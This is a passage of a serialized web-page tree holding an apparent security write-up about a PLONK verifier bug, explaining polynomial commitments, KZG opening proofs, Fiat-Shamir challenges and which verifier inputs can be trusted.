ildren":143181},{"className":143179,"style":143180},[3747],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":24,"tag":83,"props":143183,"children":143185},{"className":143184},[3753],[143186,143191],{"type":24,"tag":83,"props":143187,"children":143189},{"className":143188},[3753,21328],[143190],{"type":29,"value":19015},{"type":24,"tag":83,"props":143192,"children":143194},{"className":143193},[3769],[143195],{"type":24,"tag":83,"props":143196,"children":143198},{"className":143197},[3774],[143199],{"type":24,"tag":83,"props":143200,"children":143202},{"className":143201},[3779],[143203],{"type":24,"tag":83,"props":143204,"children":143206},{"className":143205,"style":108297},[3784],[143207],{"type":24,"tag":83,"props":143208,"children":143209},{"style":3788},[143210,143214],{"type":24,"tag":83,"props":143211,"children":143213},{"className":143212,"style":3794},[3793],[],{"type":24,"tag":83,"props":143215,"children":143217},{"className":143216},[3799,3800,3801,3802],[143218],{"type":24,"tag":83,"props":143219,"children":143221},{"className":143220},[3753,21328,3802],[143222],{"type":29,"value":56117},{"type":24,"tag":83,"props":143224,"children":143226},{"className":143225,"style":3834},[3833],[],{"type":24,"tag":83,"props":143228,"children":143230},{"className":143229},[3839],[143231],{"type":29,"value":3813},{"type":24,"tag":83,"props":143233,"children":143235},{"className":143234,"style":3834},[3833],[],{"type":24,"tag":83,"props":143237,"children":143239},{"className":143238},[3742],[143240,143244],{"type":24,"tag":83,"props":143241,"children":143243},{"className":143242,"style":93791},[3747],[],{"type":24,"tag":83,"props":143245,"children":143247},{"className":143246},[3753],[143248],{"type":29,"value":3756},{"type":29,"value":143250}," is zero on exactly those points, so if all constraints hold then ",{"type":24,"tag":32,"props":143252,"children":143254},{"className":143253},[3726,3727],[143255],{"type":24,"tag":83,"props":143256,"children":143258},{"className":143257},[3732],[143259],{"type":24,"tag":83,"props":143260,"children":143262},{"className":143261,"ariaHidden":1237},[3737],[143263],{"type":24,"tag":83,"props":143264,"children":143266},{"className":143265},[3742],[143267,143271,143276,143281,143286],{"type":24,"tag":83,"props":143268,"children":143270},{"className":143269,"style":3854},[3747],[],{"type":24,"tag":83,"props":143272,"children":143274},{"className":143273,"style":21860},[3753,21328],[143275],{"type":29,"value":143144},{"type":24,"tag":83,"props":143277,"children":143279},{"className":143278},[21457],[143280],{"type":29,"value":558},{"type":24,"tag":83,"props":143282,"children":143284},{"className":143283},[3753,21328],[143285],{"type":29,"value":19015},{"type":24,"tag":83,"props":143287,"children":143289},{"className":143288},[21479],[143290],{"type":29,"value":2872},{"type":29,"value":143292}," divides ",{"type":24,"tag":32,"props":143294,"children":143296},{"className":143295},[3726,3727],[143297],{"type":24,"tag":83,"props":143298,"children":143300},{"className":143299},[3732],[143301],{"type":24,"tag":83,"props":143302,"children":143304},{"className":143303,"ariaHidden":1237},[3737],[143305],{"type":24,"tag":83,"props":143306,"children":143308},{"className":143307},[3742],[143309,143313,143318,143323,143328],{"type":24,"tag":83,"props":143310,"children":143312},{"className":143311,"style":3854},[3747],[],{"type":24,"tag":83,"props":143314,"children":143316},{"className":143315,"style":21329},[3753,21328],[143317],{"type":29,"value":121358},{"type":24,"tag":83,"props":143319,"children":143321},{"className":143320},[21457],[143322],{"type":29,"value":558},{"type":24,"tag":83,"props":143324,"children":143326},{"className":143325},[3753,21328],[143327],{"type":29,"value":19015},{"type":24,"tag":83,"props":143329,"children":143331},{"className":143330},[21479],[143332],{"type":29,"value":2872},{"type":29,"value":143334},", yielding a quotient polynomial ",{"type":24,"tag":32,"props":143336,"children":143338},{"className":143337},[3726,3727],[143339],{"type":24,"tag":83,"props":143340,"children":143342},{"className":143341},[3732],[143343],{"type":24,"tag":83,"props":143344,"children":143346},{"className":143345,"ariaHidden":1237},[3737],[143347],{"type":24,"tag":83,"props":143348,"children":143350},{"className":143349},[3742],[143351,143355,143360,143365,143370],{"type":24,"tag":83,"props":143352,"children":143354},{"className":143353,"style":3854},[3747],[],{"type":24,"tag":83,"props":143356,"children":143358},{"className":143357,"style":21329},[3753,21328],[143359],{"type":29,"value":5733},{"type":24,"tag":83,"props":143361,"children":143363},{"className":143362},[21457],[143364],{"type":29,"value":558},{"type":24,"tag":83,"props":143366,"children":143368},{"className":143367},[3753,21328],[143369],{"type":29,"value":19015},{"type":24,"tag":83,"props":143371,"children":143373},{"className":143372},[21479],[143374],{"type":29,"value":2872},{"type":29,"value":21244},{"type":24,"tag":32,"props":143377,"children":143379},{"className":143378},[3726,3727],[143380],{"type":24,"tag":83,"props":143381,"children":143383},{"className":143382},[3732],[143384],{"type":24,"tag":83,"props":143385,"children":143387},{"className":143386,"ariaHidden":1237},[3737],[143388,143429,143470],{"type":24,"tag":83,"props":143389,"children":143391},{"className":143390},[3742],[143392,143396,143401,143406,143411,143416,143420,143425],{"type":24,"tag":83,"props":143393,"children":143395},{"className":143394,"style":3854},[3747],[],{"type":24,"tag":83,"props":143397,"children":143399},{"className":143398,"style":21329},[3753,21328],[143400],{"type":29,"value":121358},{"type":24,"tag":83,"props":143402,"children":143404},{"className":143403},[21457],[143405],{"type":29,"value":558},{"type":24,"tag":83,"props":143407,"children":143409},{"className":143408},[3753,21328],[143410],{"type":29,"value":19015},{"type":24,"tag":83,"props":143412,"children":143414},{"className":143413},[21479],[143415],{"type":29,"value":2872},{"type":24,"tag":83,"props":143417,"children":143419},{"className":143418,"style":3931},[3833],[],{"type":24,"tag":83,"props":143421,"children":143423},{"className":143422},[3936],[143424],{"type":29,"value":1275},{"type":24,"tag":83,"props":143426,"children":143428},{"className":143427,"style":3931},[3833],[],{"type":24,"tag":83,"props":143430,"children":143432},{"className":143431},[3742],[143433,143437,143442,143447,143452,143457,143461,143466],{"type":24,"tag":83,"props":143434,"children":143436},{"className":143435,"style":3854},[3747],[],{"type":24,"tag":83,"props":143438,"children":143440},{"className":143439,"style":21329},[3753,21328],[143441],{"type":29,"value":5733},{"type":24,"tag":83,"props":143443,"children":143445},{"className":143444},[21457],[143446],{"type":29,"value":558},{"type":24,"tag":83,"props":143448,"children":143450},{"className":143449},[3753,21328],[143451],{"type":29,"value":19015},{"type":24,"tag":83,"props":143453,"children":143455},{"className":143454},[21479],[143456],{"type":29,"value":2872},{"type":24,"tag":83,"props":143458,"children":143460},{"className":143459,"style":3834},[3833],[],{"type":24,"tag":83,"props":143462,"children":143464},{"className":143463},[3839],[143465],{"type":29,"value":110842},{"type":24,"tag":83,"props":143467,"children":143469},{"className":143468,"style":3834},[3833],[],{"type":24,"tag":83,"props":143471,"children":143473},{"className":143472},[3742],[143474,143478,143483,143488,143493],{"type":24,"tag":83,"props":143475,"children":143477},{"className":143476,"style":3854},[3747],[],{"type":24,"tag":83,"props":143479,"children":143481},{"className":143480,"style":21860},[3753,21328],[143482],{"type":29,"value":143144},{"type":24,"tag":83,"props":143484,"children":143486},{"className":143485},[21457],[143487],{"type":29,"value":558},{"type":24,"tag":83,"props":143489,"children":143491},{"className":143490},[3753,21328],[143492],{"type":29,"value":19015},{"type":24,"tag":83,"props":143494,"children":143496},{"className":143495},[21479],[143497],{"type":29,"value":2872},{"type":29,"value":161},{"type":24,"tag":25,"props":143500,"children":143501},{},[143502],{"type":24,"tag":2510,"props":143503,"children":143506},{"alt":143504,"src":143505},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":24,"tag":1818,"props":143508,"children":143510},{"id":143509},"polynomial-commitments-and-opening-proofs",[143511],{"type":29,"value":143512},"Polynomial commitments and opening proofs",{"type":24,"tag":25,"props":143514,"children":143515},{},[143516,143518,143523,143525,143530],{"type":29,"value":143517},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":24,"tag":2655,"props":143519,"children":143520},{},[143521],{"type":29,"value":143522},"commitments",{"type":29,"value":143524},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":24,"tag":2655,"props":143526,"children":143527},{},[143528],{"type":29,"value":143529},"opening proof",{"type":29,"value":143531}," that the claimed value is consistent with the earlier commitment.",{"type":24,"tag":25,"props":143533,"children":143534},{},[143535],{"type":29,"value":143536},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":24,"tag":1818,"props":143538,"children":143540},{"id":143539},"reducing-to-a-single-random-point",[143541],{"type":29,"value":143542},"Reducing to a single random point",{"type":24,"tag":25,"props":143544,"children":143545},{},[143546,143548,143588,143590,143615,143617,143739,143741,143766],{"type":29,"value":143547},"After the prover commits to all polynomials, including ",{"type":24,"tag":32,"props":143549,"children":143551},{"className":143550},[3726,3727],[143552],{"type":24,"tag":83,"props":143553,"children":143555},{"className":143554},[3732],[143556],{"type":24,"tag":83,"props":143557,"children":143559},{"className":143558,"ariaHidden":1237},[3737],[143560],{"type":24,"tag":83,"props":143561,"children":143563},{"className":143562},[3742],[143564,143568,143573,143578,143583],{"type":24,"tag":83,"props":143565,"children":143567},{"className":143566,"style":3854},[3747],[],{"type":24,"tag":83,"props":143569,"children":143571},{"className":143570,"style":21329},[3753,21328],[143572],{"type":29,"value":5733},{"type":24,"tag":83,"props":143574,"children":143576},{"className":143575},[21457],[143577],{"type":29,"value":558},{"type":24,"tag":83,"props":143579,"children":143581},{"className":143580},[3753,21328],[143582],{"type":29,"value":19015},{"type":24,"tag":83,"props":143584,"children":143586},{"className":143585},[21479],[143587],{"type":29,"value":2872},{"type":29,"value":143589},", the verifier picks a random challenge point ",{"type":24,"tag":32,"props":143591,"children":143593},{"className":143592},[3726,3727],[143594],{"type":24,"tag":83,"props":143595,"children":143597},{"className":143596},[3732],[143598],{"type":24,"tag":83,"props":143599,"children":143601},{"className":143600,"ariaHidden":1237},[3737],[143602],{"type":24,"tag":83,"props":143603,"children":143605},{"className":143604},[3742],[143606,143610],{"type":24,"tag":83,"props":143607,"children":143609},{"className":143608,"style":110421},[3747],[],{"type":24,"tag":83,"props":143611,"children":143613},{"className":143612,"style":113137},[3753,21328],[143614],{"type":29,"value":113140},{"type":29,"value":143616}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":24,"tag":32,"props":143618,"children":143620},{"className":143619},[3726,3727],[143621],{"type":24,"tag":83,"props":143622,"children":143624},{"className":143623},[3732],[143625],{"type":24,"tag":83,"props":143626,"children":143628},{"className":143627,"ariaHidden":1237},[3737],[143629,143670,143711],{"type":24,"tag":83,"props":143630,"children":143632},{"className":143631},[3742],[143633,143637,143642,143647,143652,143657,143661,143666],{"type":24,"tag":83,"props":143634,"children":143636},{"className":143635,"style":3854},[3747],[],{"type":24,"tag":83,"props":143638,"children":143640},{"className":143639,"style":21329},[3753,21328],[143641],{"type":29,"value":121358},{"type":24,"tag":83,"props":143643,"children":143645},{"className":143644},[21457],[143646],{"type":29,"value":558},{"type":24,"tag":83,"props":143648,"children":143650},{"className":143649,"style":113137},[3753,21328],[143651],{"type":29,"value":113140},{"type":24,"tag":83,"props":143653,"children":143655},{"className":143654},[21479],[143656],{"type":29,"value":2872},{"type":24,"tag":83,"props":143658,"children":143660},{"className":143659,"style":3931},[3833],[],{"type":24,"tag":83,"props":143662,"children":143664},{"className":143663},[3936],[143665],{"type":29,"value":1275},{"type":24,"tag":83,"props":143667,"children":143669},{"className":143668,"style":3931},[3833],[],{"type":24,"tag":83,"props":143671,"children":143673},{"className":143672},[3742],[143674,143678,143683,143688,143693,143698,143702,143707],{"type":24,"tag":83,"props":143675,"children":143677},{"className":143676,"style":3854},[3747],[],{"type":24,"tag":83,"props":143679,"children":143681},{"className":143680,"style":21329},[3753,21328],[143682],{"type":29,"value":5733},{"type":24,"tag":83,"props":143684,"children":143686},{"className":143685},[21457],[143687],{"type":29,"value":558},{"type":24,"tag":83,"props":143689,"children":143691},{"className":143690,"style":113137},[3753,21328],[143692],{"type":29,"value":113140},{"type":24,"tag":83,"props":143694,"children":143696},{"className":143695},[21479],[143697],{"type":29,"value":2872},{"type":24,"tag":83,"props":143699,"children":143701},{"className":143700,"style":3834},[3833],[],{"type":24,"tag":83,"props":143703,"children":143705},{"className":143704},[3839],[143706],{"type":29,"value":110842},{"type":24,"tag":83,"props":143708,"children":143710},{"className":143709,"style":3834},[3833],[],{"type":24,"tag":83,"props":143712,"children":143714},{"className":143713},[3742],[143715,143719,143724,143729,143734],{"type":24,"tag":83,"props":143716,"children":143718},{"className":143717,"style":3854},[3747],[],{"type":24,"tag":83,"props":143720,"children":143722},{"className":143721,"style":21860},[3753,21328],[143723],{"type":29,"value":143144},{"type":24,"tag":83,"props":143725,"children":143727},{"className":143726},[21457],[143728],{"type":29,"value":558},{"type":24,"tag":83,"props":143730,"children":143732},{"className":143731,"style":113137},[3753,21328],[143733],{"type":29,"value":113140},{"type":24,"tag":83,"props":143735,"children":143737},{"className":143736},[21479],[143738],{"type":29,"value":2872},{"type":29,"value":143740}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":24,"tag":32,"props":143742,"children":143744},{"className":143743},[3726,3727],[143745],{"type":24,"tag":83,"props":143746,"children":143748},{"className":143747},[3732],[143749],{"type":24,"tag":83,"props":143750,"children":143752},{"className":143751,"ariaHidden":1237},[3737],[143753],{"type":24,"tag":83,"props":143754,"children":143756},{"className":143755},[3742],[143757,143761],{"type":24,"tag":83,"props":143758,"children":143760},{"className":143759,"style":110421},[3747],[],{"type":24,"tag":83,"props":143762,"children":143764},{"className":143763,"style":113137},[3753,21328],[143765],{"type":29,"value":113140},{"type":29,"value":143767}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":24,"tag":25,"props":143769,"children":143770},{},[143771,143773,143798,143800,143805],{"type":29,"value":143772},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":24,"tag":32,"props":143774,"children":143776},{"className":143775},[3726,3727],[143777],{"type":24,"tag":83,"props":143778,"children":143780},{"className":143779},[3732],[143781],{"type":24,"tag":83,"props":143782,"children":143784},{"className":143783,"ariaHidden":1237},[3737],[143785],{"type":24,"tag":83,"props":143786,"children":143788},{"className":143787},[3742],[143789,143793],{"type":24,"tag":83,"props":143790,"children":143792},{"className":143791,"style":110421},[3747],[],{"type":24,"tag":83,"props":143794,"children":143796},{"className":143795,"style":113137},[3753,21328],[143797],{"type":29,"value":113140},{"type":29,"value":143799},", the prover supplies ",{"type":24,"tag":2655,"props":143801,"children":143802},{},[143803],{"type":29,"value":143804},"evaluation claims",{"type":29,"value":143806}," that must be checked against those commitments with opening proofs.",{"type":24,"tag":25,"props":143808,"children":143809},{},[143810,143812,143816],{"type":29,"value":143811},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":24,"tag":2655,"props":143813,"children":143814},{},[143815],{"type":29,"value":104124},{"type":29,"value":143817}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":24,"tag":1818,"props":143819,"children":143821},{"id":143820},"what-the-verifier-is-actually-allowed-to-trust",[143822],{"type":29,"value":143823},"What the verifier is actually allowed to trust",{"type":24,"tag":25,"props":143825,"children":143826},{},[143827,143829,143834],{"type":29,"value":143828},"For this bug, one invariant matters more than the rest: ",{"type":24,"tag":2040,"props":143830,"children":143831},{},[143832],{"type":29,"value":143833},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":29,"value":161},{"type":24,"tag":25,"props":143836,"children":143837},{},[143838,143840,143932,143933,144025,144027,144052,144054,144094,144095,144135,144136,144229,144230,144276,144278,144365,144366,144453,144454,144541],{"type":29,"value":143839},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":24,"tag":32,"props":143841,"children":143843},{"className":143842},[3726,3727],[143844],{"type":24,"tag":83,"props":143845,"children":143847},{"className":143846},[3732],[143848],{"type":24,"tag":83,"props":143849,"children":143851},{"className":143850,"ariaHidden":1237},[3737],[143852],{"type":24,"tag":83,"props":143853,"children":143855},{"className":143854},[3742],[143856,143860,143917,143922,143927],{"type":24,"tag":83,"props":143857,"children":143859},{"className":143858,"style":3854},[3747],[],{"type":24,"tag":83,"props":143861,"children":143863},{"className":143862},[3753],[143864,143869],{"type":24,"tag":83,"props":143865,"children":143867},{"className":143866,"style":21860},[3753,21328],[143868],{"type":29,"value":143144},{"type":24,"tag":83,"props":143870,"children":143872},{"className":143871},[3769],[143873],{"type":24,"tag":83,"props":143874,"children":143876},{"className":143875},[3774,21382],[143877,143906],{"type":24,"tag":83,"props":143878,"children":143880},{"className":143879},[3779],[143881,143901],{"type":24,"tag":83,"props":143882,"children":143884},{"className":143883,"style":142135},[3784],[143885],{"type":24,"tag":83,"props":143886,"children":143887},{"style":115829},[143888,143892],{"type":24,"tag":83,"props":143889,"children":143891},{"className":143890,"style":3794},[3793],[],{"type":24,"tag":83,"props":143893,"children":143895},{"className":143894},[3799,3800,3801,3802],[143896],{"type":24,"tag":83,"props":143897,"children":143899},{"className":143898,"style":92994},[3753,21328,3802],[143900],{"type":29,"value":92997},{"type":24,"tag":83,"props":143902,"children":143904},{"className":143903},[21485],[143905],{"type":29,"value":21488},{"type":24,"tag":83,"props":143907,"children":143909},{"className":143908},[3779],[143910],{"type":24,"tag":83,"props":143911,"children":143913},{"className":143912,"style":92843},[3784],[143914],{"type":24,"tag":83,"props":143915,"children":143916},{},[],{"type":24,"tag":83,"props":143918,"children":143920},{"className":143919},[21457],[143921],{"type":29,"value":558},{"type":24,"tag":83,"props":143923,"children":143925},{"className":143924,"style":113137},[3753,21328],[143926],{"type":29,"value":113140},{"type":24,"tag":83,"props":143928,"children":143930},{"className":143929},[21479],[143931],{"type":29,"value":2872},{"type":29,"value":568},{"type":24,"tag":32,"props":143934,"children":143936},{"className":143935},[3726,3727],[143937],{"type":24,"tag":83,"props":143938,"children":143940},{"className":143939},[3732],[143941],{"type":24,"tag":83,"props":143942,"children":143944},{"className":143943,"ariaHidden":1237},[3737],[143945],{"type":24,"tag":83,"props":143946,"children":143948},{"className":143947},[3742],[143949,143953,144010,144015,144020],{"type":24,"tag":83,"props":143950,"children":143952},{"className":143951,"style":3854},[3747],[],{"type":24,"tag":83,"props":143954,"children":143956},{"className":143955},[3753],[143957,143962],{"type":24,"tag":83,"props":143958,"children":143960},{"className":143959},[3753,21328],[143961],{"type":29,"value":117544},{"type":24,"tag":83,"props":143963,"children":143965},{"className":143964},[3769],[143966],{"type":24,"tag":83,"props":143967,"children":143969},{"className":143968},[3774,21382],[143970,143999],{"type":24,"tag":83,"props":143971,"children":143973},{"className":143972},[3779],[143974,143994],{"type":24,"tag":83,"props":143975,"children":143977},{"className":143976,"style":92812},[3784],[143978],{"type":24,"tag":83,"props":143979,"children":143980},{"style":92816},[143981,143985],{"type":24,"tag":83,"props":143982,"children":143984},{"className":143983,"style":3794},[3793],[],{"type":24,"tag":83,"props":143986,"children":143988},{"className":143987},[3799,3800,3801,3802],[143989],{"type":24,"tag":83,"props":143990,"children":143992},{"className":143991},[3753,3802],[143993],{"type":29,"value":3756},{"type":24,"tag":83,"props":143995,"children":143997},{"className":143996},[21485],[143998],{"type":29,"value":21488},{"type":24,"tag":83,"props":144000,"children":144002},{"className":144001},[3779],[144003],{"type":24,"tag":83,"props":144004,"children":144006},{"className":144005,"style":92843},[3784],[144007],{"type":24,"tag":83,"props":144008,"children":144009},{},[],{"type":24,"tag":83,"props":144011,"children":144013},{"className":144012},[21457],[144014],{"type":29,"value":558},{"type":24,"tag":83,"props":144016,"children":144018},{"className":144017,"style":113137},[3753,21328],[144019],{"type":29,"value":113140},{"type":24,"tag":83,"props":144021,"children":144023},{"className":144022},[21479],[144024],{"type":29,"value":2872},{"type":29,"value":144026},", the public-input polynomial at ",{"type":24,"tag":32,"props":144028,"children":144030},{"className":144029},[3726,3727],[144031],{"type":24,"tag":83,"props":144032,"children":144034},{"className":144033},[3732],[144035],{"type":24,"tag":83,"props":144036,"children":144038},{"className":144037,"ariaHidden":1237},[3737],[144039],{"type":24,"tag":83,"props":144040,"children":144042},{"className":144041},[3742],[144043,144047],{"type":24,"tag":83,"props":144044,"children":144046},{"className":144045,"style":110421},[3747],[],{"type":24,"tag":83,"props":144048,"children":144050},{"className":144049,"style":113137},[3753,21328],[144051],{"type":29,"value":113140},{"type":29,"value":144053},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":24,"tag":32,"props":144055,"children":144057},{"className":144056},[3726,3727],[144058],{"type":24,"tag":83,"props":144059,"children":144061},{"className":144060},[3732],[144062],{"type":24,"tag":83,"props":144063,"children":144065},{"className":144064,"ariaHidden":1237},[3737],[144066],{"type":24,"tag":83,"props":144067,"children":144069},{"className":144068},[3742],[144070,144074,144079,144084,144089],{"type":24,"tag":83,"props":144071,"children":144073},{"className":144072,"style":3854},[3747],[],{"type":24,"tag":83,"props":144075,"children":144077},{"className":144076},[3753,21328],[144078],{"type":29,"value":2033},{"type":24,"tag":83,"props":144080,"children":144082},{"className":144081},[21457],[144083],{"type":29,"value":558},{"type":24,"tag":83,"props":144085,"children":144087},{"className":144086,"style":113137},[3753,21328],[144088],{"type":29,"value":113140},{"type":24,"tag":83,"props":144090,"children":144092},{"className":144091},[21479],[144093],{"type":29,"value":2872},{"type":29,"value":568},{"type":24,"tag":32,"props":144096,"children":144098},{"className":144097},[3726,3727],[144099],{"type":24,"tag":83,"props":144100,"children":144102},{"className":144101},[3732],[144103],{"type":24,"tag":83,"props":144104,"children":144106},{"className":144105,"ariaHidden":1237},[3737],[144107],{"type":24,"tag":83,"props":144108,"children":144110},{"className":144109},[3742],[144111,144115,144120,144125,144130],{"type":24,"tag":83,"props":144112,"children":144114},{"className":144113,"style":3854},[3747],[],{"type":24,"tag":83,"props":144116,"children":144118},{"className":144117},[3753,21328],[144119],{"type":29,"value":2968},{"type":24,"tag":83,"props":144121,"children":144123},{"className":144122},[21457],[144124],{"type":29,"value":558},{"type":24,"tag":83,"props":144126,"children":144128},{"className":144127,"style":113137},[3753,21328],[144129],{"type":29,"value":113140},{"type":24,"tag":83,"props":144131,"children":144133},{"className":144132},[21479],[144134],{"type":29,"value":2872},{"type":29,"value":568},{"type":24,"tag":32,"props":144137,"children":144139},{"className":144138},[3726,3727],[144140],{"type":24,"tag":83,"props":144141,"children":144143},{"className":144142},[3732],[144144],{"type":24,"tag":83,"props":144145,"children":144147},{"className":144146,"ariaHidden":1237},[3737],[144148],{"type":24,"tag":83,"props":144149,"children":144151},{"className":144150},[3742],[144152,144156,144214,144219,144224],{"type":24,"tag":83,"props":144153,"children":144155},{"className":144154,"style":3854},[3747],[],{"type":24,"tag":83,"props":144157,"children":144159},{"className":144158},[3753],[144160,144166],{"type":24,"tag":83,"props":144161,"children":144163},{"className":144162,"style":93246},[3753,21328],[144164],{"type":29,"value":144165},"σ",{"type":24,"tag":83,"props":144167,"children":144169},{"className":144168},[3769],[144170],{"type":24,"tag":83,"props":144171,"children":144173},{"className":144172},[3774,21382],[144174,144203],{"type":24,"tag":83,"props":144175,"children":144177},{"className":144176},[3779],[144178,144198],{"type":24,"tag":83,"props":144179,"children":144181},{"className":144180,"style":92812},[3784],[144182],{"type":24,"tag":83,"props":144183,"children":144184},{"style":93293},[144185,144189],{"type":24,"tag":83,"props":144186,"children":144188},{"className":144187,"style":3794},[3793],[],{"type":24,"tag":83,"props":144190,"children":144192},{"className":144191},[3799,3800,3801,3802],[144193],{"type":24,"tag":83,"props":144194,"children":144196},{"className":144195},[3753,3802],[144197],{"type":29,"value":3756},{"type":24,"tag":83,"props":144199,"children":144201},{"className":144200},[21485],[144202],{"type":29,"value":21488},{"type":24,"tag":83,"props":144204,"children":144206},{"className":144205},[3779],[144207],{"type":24,"tag":83,"props":144208,"children":144210},{"className":144209,"style":92843},[3784],[144211],{"type":24,"tag":83,"props":144212,"children":144213},{},[],{"type":24,"tag":83,"props":144215,"children":144217},{"className":144216},[21457],[144218],{"type":29,"value":558},{"type":24,"tag":83,"props":144220,"children":144222},{"className":144221,"style":113137},[3753,21328],[144223],{"type":29,"value":113140},{"type":24,"tag":83,"props":144225,"children":144227},{"className":144226},[21479],[144228],{"type":29,"value":2872},{"type":29,"value":568},{"type":24,"tag":32,"props":144231,"children":144233},{"className":144232},[3726,3727],[144234],{"type":24,"tag":83,"props":144235,"children":144237},{"className":144236},[3732],[144238],{"type":24,"tag":83,"props":144239,"children":144241},{"className":144240,"ariaHidden":1237},[3737],[144242],{"type":24,"tag":83,"props":144243,"children":144245},{"className":144244},[3742],[144246,144250,144255,144260,144265,144271],{"type":24,"tag":83,"props":144247,"children":144249},{"className":144248,"style":3854},[3747],[],{"type":24,"tag":83,"props":144251,"children":144253},{"className":144252},[3753,21328],[144254],{"type":29,"value":2033},{"type":24,"tag":83,"props":144256,"children":144258},{"className":144257},[21457],[144259],{"type":29,"value":558},{"type":24,"tag":83,"props":144261,"children":144263},{"className":144262,"style":113137},[3753,21328],[144264],{"type":29,"value":113140},{"type":24,"tag":83,"props":144266,"children":144268},{"className":144267,"style":93246},[3753,21328],[144269],{"type":29,"value":144270},"ω",{"type":24,"tag":83,"props":144272,"children":144274},{"className":144273},[21479],[144275],{"type":29,"value":2872},{"type":29,"value":144277},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":24,"tag":32,"props":144279,"children":144281},{"className":144280},[3726,3727],[144282],{"type":24,"tag":83,"props":144283,"children":144285},{"className":144284},[3732],[144286],{"type":24,"tag":83,"props":144287,"children":144289},{"className":144288,"ariaHidden":1237},[3737],[144290],{"type":24,"tag":83,"props":144291,"children":144293},{"className":144292},[3742],[144294,144298,144303,144360],{"type":24,"tag":83,"props":144295,"children":144297},{"className":144296,"style":3854},[3747],[],{"type":24,"tag":83,"props":144299,"children":144301},{"className":144300},[21457],[144302],{"type":29,"value":1161},{"type":24,"tag":83,"props":144304,"children":144306},{"className":144305},[3753],[144307,144312],{"type":24,"tag":83,"props":144308,"children":144310},{"className":144309,"style":93246},[3753,21328],[144311],{"type":29,"value":93249},{"type":24,"tag":83,"props":144313,"children":144315},{"className":144314},[3769],[144316],{"type":24,"tag":83,"props":144317,"children":144319},{"className":144318},[3774,21382],[144320,144349],{"type":24,"tag":83,"props":144321,"children":144323},{"className":144322},[3779],[144324,144344],{"type":24,"tag":83,"props":144325,"children":144327},{"className":144326,"style":142135},[3784],[144328],{"type":24,"tag":83,"props":144329,"children":144330},{"style":93293},[144331,144335],{"type":24,"tag":83,"props":144332,"children":144334},{"className":144333,"style":3794},[3793],[],{"type":24,"tag":83,"props":144336,"children":144338},{"className":144337},[3799,3800,3801,3802],[144339],{"type":24,"tag":83,"props":144340,"children":144342},{"className":144341,"style":94768},[3753,21328,3802],[144343],{"type":29,"value":94771},{"type":24,"tag":83,"props":144345,"children":144347},{"className":144346},[21485],[144348],{"type":29,"value":21488},{"type":24,"tag":83,"props":144350,"children":144352},{"className":144351},[3779],[144353],{"type":24,"tag":83,"props":144354,"children":144356},{"className":144355,"style":92843},[3784],[144357],{"type":24,"tag":83,"props":144358,"children":144359},{},[],{"type":24,"tag":83,"props":144361,"children":144363},{"className":144362},[21479],[144364],{"type":29,"value":15151},{"type":29,"value":568},{"type":24,"tag":32,"props":144367,"children":144369},{"className":144368},[3726,3727],[144370],{"type":24,"tag":83,"props":144371,"children":144373},{"className":144372},[3732],[144374],{"type":24,"tag":83,"props":144375,"children":144377},{"className":144376,"ariaHidden":1237},[3737],[144378],{"type":24,"tag":83,"props":144379,"children":144381},{"className":144380},[3742],[144382,144386,144391,144448],{"type":24,"tag":83,"props":144383,"children":144385},{"className":144384,"style":3854},[3747],[],{"type":24,"tag":83,"props":144387,"children":144389},{"className":144388},[21457],[144390],{"type":29,"value":1161},{"type":24,"tag":83,"props":144392,"children":144394},{"className":144393},[3753],[144395,144400],{"type":24,"tag":83,"props":144396,"children":144398},{"className":144397,"style":93246},[3753,21328],[144399],{"type":29,"value":93249},{"type":24,"tag":83,"props":144401,"children":144403},{"className":144402},[3769],[144404],{"type":24,"tag":83,"props":144405,"children":144407},{"className":144406},[3774,21382],[144408,144437],{"type":24,"tag":83,"props":144409,"children":144411},{"className":144410},[3779],[144412,144432],{"type":24,"tag":83,"props":144413,"children":144415},{"className":144414,"style":142135},[3784],[144416],{"type":24,"tag":83,"props":144417,"children":144418},{"style":93293},[144419,144423],{"type":24,"tag":83,"props":144420,"children":144422},{"className":144421,"style":3794},[3793],[],{"type":24,"tag":83,"props":144424,"children":144426},{"className":144425},[3799,3800,3801,3802],[144427],{"type":24,"tag":83,"props":144428,"children":144430},{"className":144429,"style":92760},[3753,21328,3802],[144431],{"type":29,"value":114899},{"type":24,"tag":83,"props":144433,"children":144435},{"className":144434},[21485],[144436],{"type":29,"value":21488},{"type":24,"tag":83,"props":144438,"children":144440},{"className":144439},[3779],[144441],{"type":24,"tag":83,"props":144442,"children":144444},{"className":144443,"style":92843},[3784],[144445],{"type":24,"tag":83,"props":144446,"children":144447},{},[],{"type":24,"tag":83,"props":144449,"children":144451},{"className":144450},[21479],[144452],{"type":29,"value":15151},{"type":29,"value":568},{"type":24,"tag":32,"props":144455,"children":144457},{"className":144456},[3726,3727],[144458],{"type":24,"tag":83,"props":144459,"children":144461},{"className":144460},[3732],[144462],{"type":24,"tag":83,"props":144463,"children":144465},{"className":144464,"ariaHidden":1237},[3737],[144466],{"type":24,"tag":83,"props":144467,"children":144469},{"className":144468},[3742],[144470,144474,144479,144536],{"type":24,"tag":83,"props":144471,"children":144473},{"className":144472,"style":3854},[3747],[],{"type":24,"tag":83,"props":144475,"children":144477},{"className":144476},[21457],[144478],{"type":29,"value":1161},{"type":24,"tag":83,"props":144480,"children":144482},{"className":144481},[3753],[144483,144488],{"t